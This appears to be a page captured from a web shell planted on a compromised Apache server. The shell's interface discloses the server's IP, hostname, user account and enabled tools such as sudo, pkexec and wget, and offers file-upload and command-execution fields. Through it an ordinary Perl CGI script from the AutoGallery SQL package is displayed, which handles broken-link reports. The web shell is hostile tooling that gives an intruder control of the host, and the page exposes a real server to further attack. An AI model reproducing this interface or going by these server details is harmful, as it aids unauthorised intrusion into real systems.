403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/cgi-bin/tgp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/cgi-bin/tgp/report.cgi
#!/usr/bin/perl
##############################
##  AutoGallery SQL v3.6.x  ##
#############################################################
##  report.cgi - Handle broken link and cheater reporting  ##
#############################################################


eval
{
    require 'common.pl';
    require 'ags.pl';
    require 'mysql.pl';
    Header("Content-type: text/html\n\n");
    main();
};


if( $@ )
{
    Error("$@", 'report.cgi');
}



sub main
{
    ParseRequest(1);

    if( $ENV{'REQUEST_METHOD'} eq 'GET' )
    {
        DisplayReport();
    }
    else
    {
        ProcessReport();
    }
}



sub DisplayReport
{
    $DB->Connect();
    my $gallery = $DB->Row("SELECT * FROM ags_Galleries WHERE Gallery_ID=?", [$F{'ID'}]);
    $DB->Disconnect();

    if( !$gallery )
    {
        SubmitError('E_BAD_ID');
    }

    HashToTemplate($gallery);

    ParseTemplate('report_main.tpl');
}



sub ProcessReport
{
    SubmitError('E_REQUIRED', 'REPORT') if( !$F{'Report'} );

    $DB->Connect();

    my $gallery = $DB->Row("SELECT * FROM ags_Galleries WHERE Gallery_ID=?", [$F{'Gallery_ID'}]);

    $DB->Insert("INSERT INTO ags_Reports VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
                [undef,
                 $gallery->{'Gallery_ID'},
                 $gallery->{'Gallery_URL'},
                 $gallery->{'Description'},
                 $gallery->{'Email'},
                 $gallery->{'Submit_IP'},
                 $ENV{'REMOTE_ADDR'},
                 $F{'Report'}]);

    my $main_page = $DB->Row("SELECT * FROM ags_Pages ORDER BY Build_Order LIMIT 1");

    $T{'Report_ID'} = $DB->InsertID();
    $T{'Report'} = $F{'Report'};
    $T{'TGP_URL'} = "/$main_page->{'Filename'}";

    ParseTemplate('report_sent.tpl');

    $DB->Disconnect();
}


Youez - 2016 - github.com/yon3zu
LinuXploit